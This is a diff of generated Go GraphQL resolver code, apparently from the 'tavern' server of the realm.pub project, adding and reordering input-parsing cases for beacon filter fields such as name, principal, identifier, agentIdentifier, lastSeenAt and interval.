+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtNEQ"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.LastModifiedAtNEQ = data
+		case "lastModifiedAtIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtIn"))
+			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.LastModifiedAtIn = data
+		case "lastModifiedAtNotIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtNotIn"))
+			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.LastModifiedAtNotIn = data
+		case "lastModifiedAtGT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtGT"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.LastModifiedAtGT = data
+		case "lastModifiedAtGTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtGTE"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.LastModifiedAtGTE = data
+		case "lastModifiedAtLT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtLT"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.LastModifiedAtLT = data
+		case "lastModifiedAtLTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtLTE"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.LastModifiedAtLTE = data
+		case "name":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.Name = data
+		case "nameNEQ":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameNEQ = data
+		case "nameIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameIn = data
+		case "nameNotIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameNotIn = data
+		case "nameGT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameGT = data
+		case "nameGTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameGTE = data
+		case "nameLT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameLT = data
+		case "nameLTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameLTE = data
+		case "nameContains":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameContains = data
+		case "nameHasPrefix":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameHasPrefix = data
+		case "nameHasSuffix":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameHasSuffix = data
+		case "nameEqualFold":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameEqualFold = data
+		case "nameContainsFold":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.NameContainsFold = data
+		case "principal":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principal"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.Principal = data
+		case "principalNEQ":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalNEQ"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalNEQ = data
+		case "principalIn":
+			var err error
 
-// endregion **************************** field.gotpl *****************************
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalIn = data
+		case "principalNotIn":
+			var err error
 
-// region    **************************** input.gotpl *****************************
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalNotIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalNotIn = data
+		case "principalGT":
+			var err error
 
-func (ec *executionContext) unmarshalInputBeaconOrder(ctx context.Context, obj interface{}) (ent.BeaconOrder, error) {
-	var it ent.BeaconOrder
-	asMap := map[string]interface{}{}
-	for k, v := range obj.(map[string]interface{}) {
-		asMap[k] = v
-	}
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalGT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalGT = data
+		case "principalGTE":
+			var err error
 
-	if _, present := asMap["direction"]; !present {
-		asMap["direction"] = "ASC"
-	}
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalGTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalGTE = data
+		case "principalLT":
+			var err error
 
-	fieldsInOrder := [...]string{"direction", "field"}
-	for _, k := range fieldsInOrder {
-		v, ok := asMap[k]
-		if !ok {
-			continue
-		}
-		switch k {
-		case "direction":
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalLT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalLT = data
+		case "principalLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("direction"))
-			data, err := ec.unmarshalNOrderDirection2entgoᚗioᚋcontribᚋentgqlᚐOrderDirection(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalLTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Direction = data
-		case "field":
+			it.PrincipalLTE = data
+		case "principalContains":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field"))
-			data, err := ec.unmarshalNBeaconOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconOrderField(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalContains"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Field = data
-		}
-	}
+			it.PrincipalContains = data
+		case "principalHasPrefix":
+			var err error
 
-	return it, nil
-}
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalHasPrefix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalHasPrefix = data
+		case "principalHasSuffix":
+			var err error
 
-func (ec *executionContext) unmarshalInputBeaconWhereInput(ctx context.Context, obj interface{}) (ent.BeaconWhereInput, error) {
-	var it ent.BeaconWhereInput
-	asMap := map[string]interface{}{}
-	for k, v := range obj.(map[string]interface{}) {
-		asMap[k] = v
-	}
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalHasSuffix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalHasSuffix = data
+		case "principalIsNil":
+			var err error
 
-	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameEqualFold", "nameContainsFold", "principal", "principalNEQ", "principalIn", "principalNotIn", "principalGT", "principalGTE", "principalLT", "principalLTE", "principalContains", "principalHasPrefix", "principalHasSuffix", "principalIsNil", "principalNotNil", "principalEqualFold", "principalContainsFold", "identifier", "identifierNEQ", "identifierIn", "identifierNotIn", "identifierGT", "identifierGTE", "identifierLT", "identifierLTE", "identifierContains", "identifierHasPrefix", "identifierHasSuffix", "identifierEqualFold", "identifierContainsFold", "agentIdentifier", "agentIdentifierNEQ", "agentIdentifierIn", "agentIdentifierNotIn", "agentIdentifierGT", "agentIdentifierGTE", "agentIdentifierLT", "agentIdentifierLTE", "agentIdentifierContains", "agentIdentifierHasPrefix", "agentIdentifierHasSuffix", "agentIdentifierIsNil", "agentIdentifierNotNil", "agentIdentifierEqualFold", "agentIdentifierContainsFold", "lastSeenAt", "lastSeenAtNEQ", "lastSeenAtIn", "lastSeenAtNotIn", "lastSeenAtGT", "lastSeenAtGTE", "lastSeenAtLT", "lastSeenAtLTE", "lastSeenAtIsNil", "lastSeenAtNotNil", "interval", "intervalNEQ", "intervalIn", "intervalNotIn", "intervalGT", "intervalGTE", "intervalLT", "intervalLTE", "intervalIsNil", "intervalNotNil", "hasHost", "hasHostWith", "hasTasks", "hasTasksWith"}
-	for _, k := range fieldsInOrder {
-		v, ok := asMap[k]
-		if !ok {
-			continue
-		}
-		switch k {
-		case "not":
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalIsNil"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalIsNil = data
+		case "principalNotNil":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not"))
-			data, err := ec.unmarshalOBeaconWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconWhereInput(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalNotNil"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Not = data
-		case "and":
+			it.PrincipalNotNil = data
+		case "principalEqualFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and"))
-			data, err := ec.unmarshalOBeaconWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconWhereInputᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalEqualFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.And = data
-		case "or":
+			it.PrincipalEqualFold = data
+		case "principalContainsFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or"))
-			data, err := ec.unmarshalOBeaconWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconWhereInputᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalContainsFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.PrincipalContainsFold = data
+		case "identifier":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifier"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.Identifier = data
+		case "identifierNEQ":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierNEQ"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierNEQ = data
+		case "identifierIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierIn = data
+		case "identifierNotIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierNotIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierNotIn = data
+		case "identifierGT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierGT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierGT = data
+		case "identifierGTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierGTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierGTE = data
+		case "identifierLT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierLT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierLT = data
+		case "identifierLTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierLTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierLTE = data
+		case "identifierContains":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierContains"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierContains = data
+		case "identifierHasPrefix":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierHasPrefix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierHasPrefix = data
+		case "identifierHasSuffix":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierHasSuffix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IdentifierHasSuffix = data
+		case "identifierEqualFold":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierEqualFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Or = data
-		case "id":
+			it.IdentifierEqualFold = data
+		case "identifierContainsFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id"))
-			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierContainsFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.ID = data
-		case "idNEQ":
+			it.IdentifierContainsFold = data
+		case "agentIdentifier":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ"))
-			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifier"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IDNEQ = data
-		case "idIn":
+			it.AgentIdentifier = data
+		case "agentIdentifierNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn"))
-			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierNEQ"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IDIn = data
-		case "idNotIn":
+			it.AgentIdentifierNEQ = data
+		case "agentIdentifierIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn"))
-			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IDNotIn = data
-		case "idGT":
+			it.AgentIdentifierIn = data
+		case "agentIdentifierNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT"))
-			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierNotIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IDGT = data
-		case "idGTE":
+			it.AgentIdentifierNotIn = data
+		case "agentIdentifierGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE"))
-			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierGT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IDGTE = data
-		case "idLT":
+			it.AgentIdentifierGT = data
+		case "agentIdentifierGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT"))
-			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierGTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IDLT = data
-		case "idLTE":
+			it.AgentIdentifierGTE = data
+		case "agentIdentifierLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE"))
-			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierLT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IDLTE = data
-		case "createdAt":
+			it.AgentIdentifierLT = data
+		case "agentIdentifierLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAt"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierLTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.CreatedAt = data
-		case "createdAtNEQ":
+			it.AgentIdentifierLTE = data
+		case "agentIdentifierContains":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtNEQ"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierContains"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.CreatedAtNEQ = data
-		case "createdAtIn":
+			it.AgentIdentifierContains = data
+		case "agentIdentifierHasPrefix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtIn"))
-			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierHasPrefix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.CreatedAtIn = data
-		case "createdAtNotIn":
+			it.AgentIdentifierHasPrefix = data
+		case "agentIdentifierHasSuffix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtNotIn"))
-			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierHasSuffix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.CreatedAtNotIn = data
-		case "createdAtGT":
+			it.AgentIdentifierHasSuffix = data
+		case "agentIdentifierIsNil":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtGT"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierIsNil"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.CreatedAtGT = data
-		case "createdAtGTE":
+			it.AgentIdentifierIsNil = data
+		case "agentIdentifierNotNil":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtGTE"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierNotNil"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.CreatedAtGTE = data
-		case "createdAtLT":
+			it.AgentIdentifierNotNil = data
+		case "agentIdentifierEqualFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtLT"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierEqualFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.CreatedAtLT = data
-		case "createdAtLTE":
+			it.AgentIdentifierEqualFold = data
+		case "agentIdentifierContainsFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtLTE"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierContainsFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.CreatedAtLTE = data
-		case "lastModifiedAt":
+			it.AgentIdentifierContainsFold = data
+		case "lastSeenAt":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAt"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAt"))
 			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastModifiedAt = data
-		case "lastModifiedAtNEQ":
+			it.LastSeenAt = data
+		case "lastSeenAtNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtNEQ"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtNEQ"))
 			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastModifiedAtNEQ = data
-		case "lastModifiedAtIn":
+			it.LastSeenAtNEQ = data
+		case "lastSeenAtIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtIn"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtIn"))
 			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastModifiedAtIn = data
-		case "lastModifiedAtNotIn":
+			it.LastSeenAtIn = data
+		case "lastSeenAtNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtNotIn"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtNotIn"))
 			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastModifiedAtNotIn = data
-		case "lastModifiedAtGT":
+			it.LastSeenAtNotIn = data
+		case "lastSeenAtGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtGT"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtGT"))
 			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastModifiedAtGT = data
-		case "lastModifiedAtGTE":
+			it.LastSeenAtGT = data
+		case "lastSeenAtGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtGTE"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtGTE"))
 			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastModifiedAtGTE = data
-		case "lastModifiedAtLT":
+			it.LastSeenAtGTE = data
+		case "lastSeenAtLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtLT"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtLT"))
 			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastModifiedAtLT = data
-		case "lastModifiedAtLTE":
+			it.LastSeenAtLT = data
+		case "lastSeenAtLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtLTE"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtLTE"))
 			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastModifiedAtLTE = data
-		case "name":
+			it.LastSeenAtLTE = data
+		case "lastSeenAtIsNil":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtIsNil"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Name = data
-		case "nameNEQ":
+			it.LastSeenAtIsNil = data
+		case "lastSeenAtNotNil":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtNotNil"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameNEQ = data
-		case "nameIn":
+			it.LastSeenAtNotNil = data
+		case "interval":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("interval"))
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameIn = data
-		case "nameNotIn":
+			it.Interval = data
+		case "intervalNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalNEQ"))
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameNotIn = data
-		case "nameGT":
+			it.IntervalNEQ = data
+		case "intervalIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalIn"))
+			data, err := ec.unmarshalOUint642ᚕuint64ᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameGT = data
-		case "nameGTE":
+			it.IntervalIn = data
